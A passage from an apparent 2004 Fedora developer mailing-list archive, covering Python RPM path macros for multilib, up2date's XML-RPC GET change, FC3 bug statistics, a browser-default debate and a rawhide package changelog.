In-Reply-To: <200410120026.15134.symbiont@berlios.de> References: <20041009133012.3482D73662@hormel.redhat.com> <200410112329.19811.symbiont@berlios.de> <416AAD19.6070100@balclutha.org> <200410120026.15134.symbiont@berlios.de> Message-ID: <416C5B8C.7090905@balclutha.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Warren Togami wrote: | We can still accept fixes if they are critical or obviously good fixes. | Please file one Bugzilla report per issue and CC me, and I will sort | through them. | What we have here doesn't really qualify as bugs. Our stuff falls into two major components; (i) implementing the following macros: %pythonprefix /usr %__python %{pythonprefix}/bin/python %pythonversion %(python -c 'import sys;print(sys.version[0:3])') %pythonpath %{pythonprefix}/lib/python%{pythonversion} %pythoninclude %{pythonprefix}/include/python%{pythonversion} and (ii) upgrading up2date to connect to our Zope xml-rpc server. For (i) we've a plethora of spec file changes to override much source code expectation of /usr/include/python2.2 etc. Please advise as to if and how you'd like us to help integrate this. We also made the following changes to up2date-4.3.19: ~ * range of indescriminate bug fixes ~ * remove OpenSSL module dependency in preference of native socket ssl ~ * remove rpclib and the user proxy cruft. xmlrpc supports basic http authentication and it's quite unncecssary to implement custom transports. I'm having a look at the 4.3.40 update now, and am already dismayed to discover that the listPackages() rpc call has been changed from a POST to a GET - which is causing a range of issues as I'm unconvinced as to the xml-rpc compliance of this change. These are quite significant changes, both technically and strategically, and I do think that CVS access and collaboration with your development staff would represent the best way forward in integrating these features and ensuring up2date remains a generic client. There are also a range of other python-related issues that need to be addressed within FC. For example: why is there a python2.2 interpreter embedded within the OpenOffice suite?? Please advise how we can participate. Alan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBbFuMCfroLk4EZpkRAv+9AKCTbb0xSSjqui2ak0Dnr6SqMYIpCQCgr9Ts NV1FT+qse7HzZrXyLdZ6sDw= =OlnX -----END PGP SIGNATURE----- From veillard at redhat.com Tue Oct 12 22:39:20 2004 From: veillard at redhat.com (Daniel Veillard) Date: Tue, 12 Oct 2004 18:39:20 -0400 Subject: No direct rendering with booting init 5 In-Reply-To: References: <1097422847.3760.2.camel@tiger> Message-ID: <20041012223919.GK29534@redhat.com> On Tue, Oct 12, 2004 at 06:09:21PM -0400, Jon Nettleton wrote: > quick fix for this one is to copy your /etc/X11/xorg.conf into > /etc/rhgb. Then edit /etc/rhgb/xorg.conf and comment out the Load > "dri" section under modules. Yeah, we are looking into building a real fix for this though :-) Daniel -- Daniel Veillard | Red Hat Desktop team http://redhat.com/ veillard at redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From smooge at gmail.com Tue Oct 12 23:01:25 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Tue, 12 Oct 2004 17:01:25 -0600 Subject: Default browser of FC3? In-Reply-To: <1097600867.2689.79.camel@kyrre> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> <41691AA6.8020506@homer.se> <1097412041.16243.47.camel@ricardo.veguilla.net> <1097584518.7568.36.camel@iving.oso.chalmers.se> <1097600867.2689.79.camel@kyrre> Message-ID: <80d7e40904101216019df661a@mail.gmail.com> On Tue, 12 Oct 2004 22:46:32 +0200, Kyrre Ness Sjobak wrote: > But that does not mean that we should make fedora a "copy" of Windows - > simply because if we do that, we will always play catch-up. Apple has > understood this - and has made a system that is quite different from > anything else. And people love it, say it is the most user-friendly > system ever saw (i dissagree - i have pretty much experience from both > Linux and Windows, but in order to get anything done on a mac, i have to > have the owner open me a terminal... > I consider copying Windows to be copying applications that Microsoft wrote. I consider using Firefox to not be copying a Microsoft application.. unless something happened in the last 3 months. I also dont consider Firefox to act/behave like IE does on my Windows box. The UI's are about as similar as Epiphany and IE. From alan at balclutha.org Wed Oct 13 02:03:33 2004 From: alan at balclutha.org (Alan Milligan) Date: Wed, 13 Oct 2004 12:03:33 +1000 Subject: up2date and XML-RPC GET Message-ID: <416C8CF5.7060709@balclutha.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 It seems that someone has recently decided that GET requests for up2date ~ make a lot of sense. While this is both more efficient in terms of having to read the request ~ body and having to xml parse it, unfortunately it is not part of the XML-RPC protocol. According to Dave Winer's spec at http://www.xmlrpc.com/spec, and to everyone else, XML-RPC is a HTTP-POST protocol. I appreciate that XML-RPC's file limitations already require up2date to return non-XML-RPC payloads, but wonton undermining of these protocols leads us down the path of Microsoft. Can we agree that up2date was not designed and developed exclusively for RedHat environments, and that as such, it's in all of our interests to keep it durable. I can provide you with the necessary patch to fix this if required, but I'd first like to hear whether or not you'd apply it. Regards, Alan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBbIz1CfroLk4EZpkRAqkkAJ44kx7ekbpY6nsrxn3jQx3FH8skngCgugyU hMGjXHEvqb8VUlPY/f75uBs= =tNci -----END PGP SIGNATURE----- From notting at redhat.com Wed Oct 13 04:05:29 2004 From: notting at redhat.com (Bill Nottingham) Date: Wed, 13 Oct 2004 00:05:29 -0400 Subject: FC3 Bug Status - 2004-10-13 Message-ID: <20041013040529.GA23646@nostromo.devel.redhat.com> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') 2004-10-13 Severity Total Closed Need Testing BLOCKER 115 85 ( 73.91 %) 13 ( 15.29 %) TARGET 914 478 ( 52.30 %) 57 ( 11.92 %) Overall 1029 563 ( 54.71 %) 70 ( 12.00 %) 2004-10-11 Severity Total Closed Need Testing BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) Overall 997 516 ( 51.76 %) 59 ( 11.00 %) 2004-09-30 Severity Total Closed Need Testing BLOCKER 90 67 ( 74.44 %) 11 ( 16.42 %) TARGET 831 374 ( 45.01 %) 45 ( 12.03 %) Overall 921 441 ( 47.88 %) 56 ( 12.00 %) 2004-09-23 Severity Total Closed Need Testing BLOCKER 74 43 ( 58.11 %) 9 ( 20.93 %) TARGET 703 286 ( 40.68 %) 38 ( 13.29 %) Overall 777 329 ( 42.34 %) 47 ( 14.00 %) 2004-09-08 Severity Total Closed Need Testing BLOCKER 35 14 ( 40.00 %) 3 ( 21.43 %) TARGET 591 194 ( 32.83 %) 33 ( 17.01 %) Overall 626 208 ( 33.23 %) 36 ( 17.00 %) 2004-08-18 Severity Total Closed Need Testing TARGET 415 61 ( 14.70 %) 16 ( 26.23 %) From wtogami at redhat.com Wed Oct 13 04:20:21 2004 From: wtogami at redhat.com (Warren Togami) Date: Tue, 12 Oct 2004 18:20:21 -1000 Subject: python2.2 -> python2.3 In-Reply-To: <416C5B8C.7090905@balclutha.org> References: <20041009133012.3482D73662@hormel.redhat.com> <200410112329.19811.symbiont@berlios.de> <416AAD19.6070100@balclutha.org> <200410120026.15134.symbiont@berlios.de> <416C5B8C.7090905@balclutha.org> Message-ID: <416CAD05.2070309@redhat.com> Alan Milligan wrote: > > Warren Togami wrote: > | We can still accept fixes if they are critical or obviously good fixes. > | Please file one Bugzilla report per issue and CC me, and I will sort > | through them. > | > > What we have here doesn't really qualify as bugs. Our stuff falls into > two major components; (i) implementing the following macros: > > %pythonprefix /usr > %__python %{pythonprefix}/bin/python > %pythonversion %(python -c 'import sys;print(sys.version[0:3])') > %pythonpath %{pythonprefix}/lib/python%{pythonversion} > %pythoninclude %{pythonprefix}/include/python%{pythonversion} Sorry, these changes are too invasive at this point, and even potentially wrong. What about multilib? > > and (ii) upgrading up2date to connect to our Zope xml-rpc server. > > For (i) we've a plethora of spec file changes to override much source > code expectation of /usr/include/python2.2 etc. Please advise as to if > and how you'd like us to help integrate this. Case by case basis. File one report per package, with suggested spec patch and explaining exactly what it changes and why. > > We also made the following changes to up2date-4.3.19: > > ~ * range of indescriminate bug fixes > ~ * remove OpenSSL module dependency in preference of native socket ssl > ~ * remove rpclib and the user proxy cruft. xmlrpc supports basic > http authentication and it's quite unncecssary to implement custom > transports. Also too late now for FC3. If you really cared about these issues, you should have communicated with us long ago rather than sit on the changes. If you file it now, we can probably integrate it before FC4 if your changes and reasoning are technical sound. But you will need to convince the maintainer(s) of up2date and python, as I have very little to do with those components. > > I'm having a look at the 4.3.40 update now, and am already dismayed to > discover that the listPackages() rpc call has been changed from a POST > to a GET - which is causing a range of issues as I'm unconvinced as to > the xml-rpc compliance of this change. > > These are quite significant changes, both technically and strategically, > and I do think that CVS access and collaboration with your development > staff would represent the best way forward in integrating these features > and ensuring up2date remains a generic client. > > There are also a range of other python-related issues that need to be > addressed within FC. For example: why is there a python2.2 interpreter > embedded within the OpenOffice suite?? > No idea. Please ask Dan? It does seem that you put a lot of effort into this, but I am sorry that it is just too late for FC3. I am interested in seeing your individual reports and proposals for FC4 target. Warren Togami wtogami at redhat.com From pri.rhl3 at iadonisi.to Wed Oct 13 04:28:06 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Wed, 13 Oct 2004 00:28:06 -0400 Subject: Awesome job Message-ID: <1097641686.26989.39.camel@va.local.linuxlobbyist.org> Just a quick note to say 'thanks' to everyone who has contributed to the testing of FC3 and contributed to great ideas for releases moving forward. Like a lot of others, I've aired my share of complaints (though I don't think I've been *too* ornery), but overall I'm almost happy enough with even the current FC3T3+updates to upgrade my main desktop to it. Almost -- I'm not crazy enough to actually do it. With my luck, a deep, lurking ext3/selinux related filesystem corruption problem will rear its ugly head *just* after I do the upgrade. If there is a problem like that, I just hope it's found and squashed before release. I'm *really* looking forward to seeing how the scaled back selinux policy helps to get it deployed far and wide. I haven't read through the whole paper yet, but "The Inevitability of Failure: The Flawed Assumption of Security in Modern Computing Environments" (http://www.nsa.gov/selinux/papers/inevit-abs.cfm) co-authored by Stephen Smalley and others at the NSA had me nodding my head in violent agreement through the first few sections. The IT world *needs* *something* at the OS level to improve security, and I'm anxious to see how Fedora Core 3 users react to selinux as a possible answer to some security problems. I'd love to hear stories of thwarted attacks thanks to selinux. Or even where it failed needs improvement -- but let's hope for not-so-serious problems. And there are most definitely some improvements in Gnome 2.8 that make me think that maybe, just maybe we've finally caught up, or at least almost caught up to the to the Windows/MAC world in the area of usability. (I'm primarily talking about areas we've *needed* to catch up, of course. There are definitely some gross things we need to leave behind.) So great job, everybody, and I'll race you all to be the first to install FC3 when it's released. Doubt I'll win, though, with all you folks at universities with uber-fast connections. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From lars at homer.se Wed Oct 13 07:25:23 2004 From: lars at homer.se (Lars E. Pettersson) Date: 13 Oct 2004 09:25:23 +0200 Subject: Default browser of FC3? In-Reply-To: <1097600867.2689.79.camel@kyrre> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> <41691AA6.8020506@homer.se> <1097412041.16243.47.camel@ricardo.veguilla.net> <1097584518.7568.36.camel@iving.oso.chalmers.se> <1097600867.2689.79.camel@kyrre> Message-ID: <1097652323.26932.39.camel@iving.oso.chalmers.se> On Tue, 2004-10-12 at 22:46, Kyrre Ness Sjobak wrote: > tir, 12.10.2004 kl. 14.35 skrev Lars E. Pettersson: ... > But that does not mean that we should make fedora a "copy" of Windows - > simply because if we do that, we will always play catch-up. No one is proposing to do a "copy" of Windows. I will now broaden the look a bit more, i.e. this is not coupled to the ongoing browser discussion only, but written in more general terms. In a discussion about applications, defaults, UIG:s, HIG:s, etc, it is important to look at from where people come. What level of computer knowledge do they have, what applications are they accustom to, what GUI:s are they used to, etc. The vast majority of newbies to Fedora (and Linux/GNU) have used computers before, they are not computer illiterates, and the majority of them have used Microsoft Windows (like it or not, but that is the reality.) This is something we have to accept, and understand, when making GUI:s, HIG:s, defaults, etc, etc. But note that this does not mean that we have to copy Microsoft Windows, only that we have to acknowledge this fact, and make the transition to Linux/GNU as easy as possible for the user. To make people use Fedora, instead of other operating systems, we have to have defaults that make people use Fedora, and not uninstall after a couple of hours struggle with, for the user, strange acting applications. We must use the best available Linux/GNU-application to make the user stay with us, and not go back to the operating systems they came from. We want them to stay, don't we? Later, when the user have been accustom with the Linux/GNU concept, it is appropriate to give them the opportunity to "play" with with the goodies we have available. Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From pnasrat at redhat.com Wed Oct 13 08:36:38 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Wed, 13 Oct 2004 09:36:38 +0100 Subject: up2date and XML-RPC GET In-Reply-To: <416C8CF5.7060709@balclutha.org> References: <416C8CF5.7060709@balclutha.org> Message-ID: <1097656598.4071.9.camel@anu.eridu> On Wed, 2004-10-13 at 12:03 +1000, Alan Milligan wrote: > > I appreciate that XML-RPC's file limitations already require up2date to > return non-XML-RPC payloads, but wonton undermining of these protocols > leads us down the path of Microsoft. > > Can we agree that up2date was not designed and developed exclusively for > RedHat environments, and that as such, it's in all of our interests to > keep it durable. > > I can provide you with the necessary patch to fix this if required, but > I'd first like to hear whether or not you'd apply it. I'm not sure if Adrian is on this list. You are best off making comments like this through bugzilla with patches so they don't get lost. Paul From harald at redhat.com Wed Oct 13 09:51:17 2004 From: harald at redhat.com (Harald Hoyer) Date: Wed, 13 Oct 2004 11:51:17 +0200 Subject: python2.2 -> python2.3 In-Reply-To: <416CAD05.2070309@redhat.com> References: <20041009133012.3482D73662@hormel.redhat.com> <200410112329.19811.symbiont@berlios.de> <416AAD19.6070100@balclutha.org> <200410120026.15134.symbiont@berlios.de> <416C5B8C.7090905@balclutha.org> <416CAD05.2070309@redhat.com> Message-ID: <416CFA95.3070205@redhat.com> Warren Togami wrote: > Alan Milligan wrote: >> What we have here doesn't really qualify as bugs. Our stuff falls into >> two major components; (i) implementing the following macros: >> >> %pythonprefix /usr >> %__python %{pythonprefix}/bin/python >> %pythonversion %(python -c 'import sys;print(sys.version[0:3])') >> %pythonpath %{pythonprefix}/lib/python%{pythonversion} >> %pythoninclude %{pythonprefix}/include/python%{pythonversion} > > > Sorry, these changes are too invasive at this point, and even > potentially wrong. What about multilib? %pythondir %(python -c 'from distutils import sysconfig; print sysconfig.get_python_lib(0,0,prefix=%{pythonprefix})') will return /usr/lib/.... on all archs for arch independent stuff %pyexecdir %(python -c 'from distutils import sysconfig; print sysconfig.get_python_lib(1,0,prefix=%{pythonprefix})') will return /usr/lib{,64}/... for arch dependent stuff From ville.skytta at iki.fi Wed Oct 13 10:26:48 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Wed, 13 Oct 2004 13:26:48 +0300 Subject: python2.2 -> python2.3 In-Reply-To: <416CFA95.3070205@redhat.com> References: <20041009133012.3482D73662@hormel.redhat.com> <200410112329.19811.symbiont@berlios.de> <416AAD19.6070100@balclutha.org> <200410120026.15134.symbiont@berlios.de> <416C5B8C.7090905@balclutha.org> <416CAD05.2070309@redhat.com> <416CFA95.3070205@redhat.com> Message-ID: <1097663208.26996.10.camel@bobcat.mine.nu> On Wed, 2004-10-13 at 12:51, Harald Hoyer wrote: > Warren Togami wrote: > > Alan Milligan wrote: > >> What we have here doesn't really qualify as bugs. Our stuff falls into > >> two major components; (i) implementing the following macros: > >> > >> %pythonprefix /usr > >> %__python %{pythonprefix}/bin/python > >> %pythonversion %(python -c 'import sys;print(sys.version[0:3])') > >> %pythonpath %{pythonprefix}/lib/python%{pythonversion} > >> %pythoninclude %{pythonprefix}/include/python%{pythonversion} > > > > > > Sorry, these changes are too invasive at this point, and even > > potentially wrong. What about multilib? > > %pythondir %(python -c 'from distutils import sysconfig; print sysconfig.get_python_lib(0,0,prefix=%{pythonprefix})') > will return /usr/lib/.... on all archs for arch independent stuff > > %pyexecdir %(python -c 'from distutils import sysconfig; print sysconfig.get_python_lib(1,0,prefix=%{pythonprefix})') > will return /usr/lib{,64}/... for arch dependent stuff Aren't get_python_lib(0) and get_python_lib(1) enough? See also #125472 BTW, Python makes a distinction between arch independent and arch dependent include dirs as well, so something like the above should be used to get them too, with get_python_inc(). From alan at balclutha.org Wed Oct 13 10:34:06 2004 From: alan at balclutha.org (Alan Milligan) Date: Wed, 13 Oct 2004 20:34:06 +1000 Subject: python2.2 -> python2.3 In-Reply-To: <20041013095125.DE50F733A7@hormel.redhat.com> References: <20041013095125.DE50F733A7@hormel.redhat.com> Message-ID: <416D049E.4040205@balclutha.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 | Warren Togami wrote: | |>> Alan Milligan wrote: |> |>>>> What we have here doesn't really qualify as bugs. Our stuff falls into |>>>> two major components; (i) implementing the following macros: |>>>> |>>>> %pythonprefix /usr |>>>> %__python %{pythonprefix}/bin/python |>>>> %pythonversion %(python -c 'import sys;print(sys.version[0:3])') |>>>> %pythonpath %{pythonprefix}/lib/python%{pythonversion} |>>>> %pythoninclude %{pythonprefix}/include/python%{pythonversion} |> |>> |>> |>> Sorry, these changes are too invasive at this point, and even |>> potentially wrong. What about multilib? | | | %pythondir %(python -c 'from distutils import sysconfig; print sysconfig.get_python_lib(0,0,prefix=%{pythonprefix})') | will return /usr/lib/.... on all archs for arch independent stuff | | %pyexecdir %(python -c 'from distutils import sysconfig; print sysconfig.get_python_lib(1,0,prefix=%{pythonprefix})') | will return /usr/lib{,64}/... for arch dependent stuff | | This looks better. The point of the object is that we SHOULD have macros for this, it's completely synonymous with the existing Perl macros. I don't particularly care what the names are either so long as we agree them. I'm also not too concerned if they make FC3, so long as we get them agreed - then we can cut specs across at our convenience. As you are aware, there are many projects which graciously provide specs in their tarballs too. By clearly defining the direction, these providers can also migrate their specs at their leisure. How about agreeing the definitive list and releasing it in the next most convenient release of rpm? Alan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBbQSeCfroLk4EZpkRAqlyAJ45vwpBQ0ecpOT94hcQKeL0Nh4UvQCeK3fV arNqCn2N2EfwWdixNNod6l0= =+SdU -----END PGP SIGNATURE----- From ville.skytta at iki.fi Wed Oct 13 10:48:21 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Wed, 13 Oct 2004 13:48:21 +0300 Subject: python2.2 -> python2.3 In-Reply-To: <416D049E.4040205@balclutha.org> References: <20041013095125.DE50F733A7@hormel.redhat.com> <416D049E.4040205@balclutha.org> Message-ID: <1097664501.26996.14.camel@bobcat.mine.nu> On Wed, 2004-10-13 at 13:34, Alan Milligan wrote: > The point of the object is that we SHOULD have macros for this, it's > completely synonymous with the existing Perl macros. Agreed; here's a start: https://bugzilla.redhat.com/120635 > How about agreeing the definitive list and releasing it in the next most > convenient release of rpm? ++ In addition to the above, a %{pyver} (primarily for python-abi) and a couple of incdir (arch dependent/ arch independent) macros would be welcome. From warren at togami.com Wed Oct 13 10:51:47 2004 From: warren at togami.com (Warren Togami) Date: Wed, 13 Oct 2004 00:51:47 -1000 Subject: python2.2 -> python2.3 In-Reply-To: <1097664501.26996.14.camel@bobcat.mine.nu> References: <20041013095125.DE50F733A7@hormel.redhat.com> <416D049E.4040205@balclutha.org> <1097664501.26996.14.camel@bobcat.mine.nu> Message-ID: <416D08C3.4070605@togami.com> Ville Skytt? wrote: > On Wed, 2004-10-13 at 13:34, Alan Milligan wrote: > > >>The point of the object is that we SHOULD have macros for this, it's >>completely synonymous with the existing Perl macros. > > > Agreed; here's a start: https://bugzilla.redhat.com/120635 > > >>How about agreeing the definitive list and releasing it in the next most >>convenient release of rpm? > > > ++ > > In addition to the above, a %{pyver} (primarily for python-abi) and a > couple of incdir (arch dependent/ arch independent) macros would be > welcome. > Keep in mind that normally stuff like %{pyver} is a horrible sin in RPM packaging because you cannot depend on stuff being in the buildroot during RPM spec parsing. However in the case of perl and python we do it anyway because they are within the minimum package set. Querying perl and python: OK Querying mozilla or qt : BAD Warren Togami wtogami at redhat.com From alan at balclutha.org Wed Oct 13 10:54:12 2004 From: alan at balclutha.org (Alan Milligan) Date: Wed, 13 Oct 2004 20:54:12 +1000 Subject: up2date development Message-ID: <416D0954.8060401@balclutha.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sorry, I should have started this in a separate thread to begin with, so please bear with me for continuing here. As stated earlier, we have a firm agenda to ensure up2date remains both that current with Python and a generalised rpm gui tool. As with the earlier post, I'm not too concerned about missing FC3 cutoff, we're all committed to the long-term of Fedora. As outlined, removing the OpenSSL package, rpclib, and other sins, is by no means trivial (although not that complicated either). But it is certainly too complex to expect bugzilla to usefully manage the process. At the least, it requires coordination and discussion to agree that all parties interests are met - I am not interested in doing work that's not going to be accepted, nor in working upon out of date, irrelevant images, or difficult back-ports. Can I please be put in touch with the affected RH people (on or off the list), so we can decide upon a manner to proceed, somewhat in the vane of other open projects we all know and love? Cheers, Alan -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBbQlTCfroLk4EZpkRAnWMAJ92DYpfA35M71irXtQYezkbmBy8SACgwFib iPd/uiVtyDpLAtTY3WW3uTk= =qA2w -----END PGP SIGNATURE----- From symbiont at berlios.de Wed Oct 13 11:19:12 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Wed, 13 Oct 2004 19:19:12 +0800 Subject: python2.2 -> python2.3 In-Reply-To: <416D08C3.4070605@togami.com> References: <20041013095125.DE50F733A7@hormel.redhat.com> <1097664501.26996.14.camel@bobcat.mine.nu> <416D08C3.4070605@togami.com> Message-ID: <200410131919.12363.symbiont@berlios.de> On Wednesday 13 October 2004 18:51, Warren Togami wrote: > Keep in mind that normally stuff like %{pyver} is a horrible sin in > RPM packaging because you cannot depend on stuff being in the > buildroot during RPM spec parsing. BuildRequires: python-devel Anyway, some packages are using %{pybasever}, so I used that name, but would be happy to conform to any set standards. take care, -- -jeff From buildsys at redhat.com Wed Oct 13 12:02:08 2004 From: buildsys at redhat.com (Build System) Date: Wed, 13 Oct 2004 08:02:08 -0400 Subject: rawhide report: 20041013 changes Message-ID: <200410131202.i9DC28J14260@porkchop.devel.redhat.com> Updated Packages: GConf2-2.8.1-1 -------------- * Tue Oct 12 2004 Mark McLoughlin 2.8.1-1 - Update to 2.8.1 NetworkManager-0.2-4 -------------------- * Tue Oct 12 2004 Dan Williams 0.2-4 - Update from CVS - Improvements: o Better link checking on wireless cards o Panel applet now a Notification Area icon o Static IP configuration support am-utils-6.0.9-10 ----------------- * Tue Oct 12 2004 Adrian Havill 6.0.9-10 - cleanup %pre script so amd.conf won't get stat()ed if it doesn't exist (#126656) anaconda-10.0.3.17-1 -------------------- * Tue Oct 12 2004 Jeremy Katz - 10.0.3.17-1 - Only use "our" LVM partitions with auto-partitioning (#135440) - Remove localboot option from syslinux.cfg for diskboot.img (#135263) - Handle the great input method switch on upgrade (#129218) - Don't save the hwaddr for qeth (#135023) - Add rhgb boot loader arguments in postinstall (msw) - Reverse Norwegian blacklisting (#129453) (notting) - Add sata_nv, sata_sx4, ixgb, ahci, sx8 modules to the initrd (notting) atk-1.8.0-2 ----------- * Tue Oct 12 2004 Matthias Clasen - 1.8.0-2 - convert tamil translations to UTF-8 (#135343) binutils-2.15.92.0.2-3 ---------------------- * Mon Oct 11 2004 Jakub Jelinek 2.15.92.0.2-3 - revert Sep 09 change to make ppc L second argument e.g. for tlbie non-optional - fix stripping of prelinked binaries and libraries (#133734) - allow strings(1) on 32-bit arches to be used again with > 2GB files (#133555) cryptsetup-0.1-4 ---------------- * Tue Oct 12 2004 Bill Nottingham 0.1-4 - oops, make that *everything* static (#129926) epiphany-1.4.4-2 ---------------- * Tue Oct 12 2004 Marco Pesenti Gritti - 1.4.4-2 - Disable direct handling of downloads by external applications evolution-2.0.2-1 ----------------- * Tue Oct 12 2004 David Malcolm - 2.0.2-1 - Update from 2.0.1 to 2.0.2 - Updated dependency on e-d-s from 1.0.1 to 1.0.2 - Updated dependency on libgal2 from 2.2.2 to 2.2.3 - Updated dependency on gtkhtml3 from 3.3.0 to 3.3.2 - ppc's mozilla dependency is now in line with the other architectures at 1.7.3 evolution-connector-2.0.2-1 --------------------------- * Tue Oct 12 2004 David Malcolm - 2.0.2-1 - Update from 2.0.1 to 2.0.2 - exclude s390/s390x architecture for now due to Mozilla build problems - refresh the autogenerated parts of the 64bit fix patch to patch over the latest version of autogenerated files from upstream evolution-data-server-1.0.2-2 ----------------------------- * Tue Oct 12 2004 David Malcolm - 1.0.2-2 - added patch to fix build on x86_64 (had multiple definitions of mutex code in libdb/dbinc.mutex.h) * Tue Oct 12 2004 David Malcolm - 1.0.2-1 - update from 1.0.1 to 1.0.2 - increased libsoup requirement to 2.2.1 to match configuration script file-4.10-2 ----------- * Tue Oct 12 2004 Tim Waugh 4.10-2 - Fixed occasional segfault (bug #131892). * Wed Aug 11 2004 Radek Vokal - zlib patch deleted, note patch deleted, rh patch updated, debian patch updated - upgrade to file-4.10 * Tue Jun 15 2004 Elliot Lee - rebuilt gconf-editor-2.8.0-2 -------------------- * Tue Oct 12 2004 Mark McLoughlin 2.8.0-2 - Add patch to fix warnings on startup (#132164) - Add BuildRequies: scrollkeeper glibc-2.3.3-67 -------------- * Tue Oct 12 2004 Jakub Jelinek 2.3.3-67 - update from CVS - use non-blocking sockets in resolver (#135234) - reset pd->res options on thread exit, so that threads reusing cached stacks get resolver state properly initialized (BZ #434) gnome-desktop-2.8.0-3 --------------------- * Tue Oct 12 2004 Mark McLoughlin 2.8.0-3 - Add tamil translation gnome-netstatus-2.8.0-3 ----------------------- * Tue Oct 12 2004 Mark McLoughlin 2.8.0-3 - BuildRequires gnome-panel-devel instead of just gnome-panel (#135061) gnome-panel-2.8.1-1 ------------------- * Tue Oct 12 2004 Mark McLoughlin - Update to 2.8.1 - Change the default no. pager rows back to 1 - Add a new tamil translation gnome-volume-manager-1.1.0-4 ---------------------------- * Fri Oct 08 2004 John (J5) Palmieri - 1.1.0-4 - exclude building on s390 and s390x gpdf-2.8.0-2 ------------ * Tue Oct 12 2004 Marco Pesenti Gritti 2.8.0-2 - rebuilt gpm-1.20.1-57 ------------- * Tue Oct 12 2004 Adrian Havill 1.20.1-57 - read both the sysconfig/mouse and sysconfig/gpm (preferrence to gpm settings), not just one of them, if both exist (#134389) * Tue Oct 12 2004 Florian La Roche - remove gzip of info pages within .spec file, #135305 gtk2-2.4.13-1 ------------- * Tue Oct 12 2004 Matthias Clasen - 2.4.13-1 - Upgrade to 2.4.13 guile-1.6.4-14 -------------- * Tue Oct 12 2004 Phil Knirsch 5:1.6.4-14 - Fix multilib support for guile hwdata-0.143-1 -------------- * Tue Oct 12 2004 Bill Nottingham - 0.143-1 - add ahci mappings to prefer it over ata_piix - map davej's ancient matrox card to vesa (#122750) im-sdk-12.0.1-14.svn1943 ------------------------ * Tue Oct 12 2004 Akira TAGOH - 1:12.0.1-14.svn1943 - leif-canna-close-uicontext.patch: close the UI context instead of finalizing the kana-kanji conversion. (#134039) jfsutils-1.1.7-1 ---------------- * Tue Oct 12 2004 Florian La Roche - 1.1.7 kernel-2.6.8-1.610 ------------------ * Tue Oct 12 2004 Dave Jones - Rebase to 2.6.9-rc4-bk1 - Tux update. - Update netdump/diskdump patches kernel-utils-2.4-13.1.34 ------------------------ * Tue Oct 12 2004 Dave Jones - Re-add dmidecode. - Include upstream microcode_ctl patch for x86-64 krbafs-1.2.2-6 -------------- * Tue Oct 12 2004 Miloslav Trmac - 1.2.2-6 - BuildRequire util-linux (from Steve Grubb, #132874) kudzu-1.1.95-1 -------------- * Tue Oct 12 2004 Bill Nottingham - 1.1.95-1 - fix potential segfault on odd USB controllers (#135450) * Tue Oct 12 2004 Bill Nottingham - 1.1.94-1 - add a quick hack to avoid warning (#129181) libgal2-2.2.3-1 --------------- * Tue Oct 12 2004 David Malcolm - 2:2.2.3-1 - update from upstream 2.2.2 to 2.2.3 libmng-1.0.8-1 -------------- * Tue Oct 12 2004 Matthias Clasen 1.0.8-1 - Upgrade to 1.0.8 libsoup-2.2.1-1 --------------- * Tue Oct 12 2004 David Malcolm - 2.2.1-1 - update from 2.2.0 to 2.2.1 libtiff-3.6.1-6 --------------- * Tue Oct 12 2004 Matthias Clasen 3.6.1-6 - fix http://bugzilla.remotesensing.org/show_bug.cgi?id=483 libungif-4.1.3-1 ---------------- * Tue Oct 12 2004 Matthias Clasen 4.1.3-1 - Latest upstream version libwnck-2.8.1-1 --------------- * Tue Oct 12 2004 Mark McLoughlin 2.8.1-1 - Update to 2.8.1 make-3.80-5 ----------- * Thu Oct 07 2004 Jakub Jelinek 3.80-5 - add URL rpm tag (#134799) mod_python-3.1.3-5 ------------------ * Tue Oct 12 2004 Joe Orton 3.1.3-5 - include LICENSE and NOTICE * Tue Oct 12 2004 Joe Orton 3.1.3-4 - use a maximum of four semaphores by default mysql-3.23.58-13 ---------------- * Tue Oct 12 2004 Tom Lane 3.23.58-13 - fix security issues CAN-2004-0835, CAN-2004-0836, CAN-2004-0837 (bugs #135372, 135375, 135387) - fix privilege escalation on GRANT ALL ON `Foo\_Bar` (no CVE yet) nautilus-2.8.1-2 ---------------- * Tue Oct 12 2004 Alexander Larsson - 2.8.1-2 - Fix open with menu on mime mismatch - Create desktop links ending with .desktop (#125104) - Remove old cruft from specfile * Mon Oct 11 2004 Alexander Larsson - 2.8.1-1 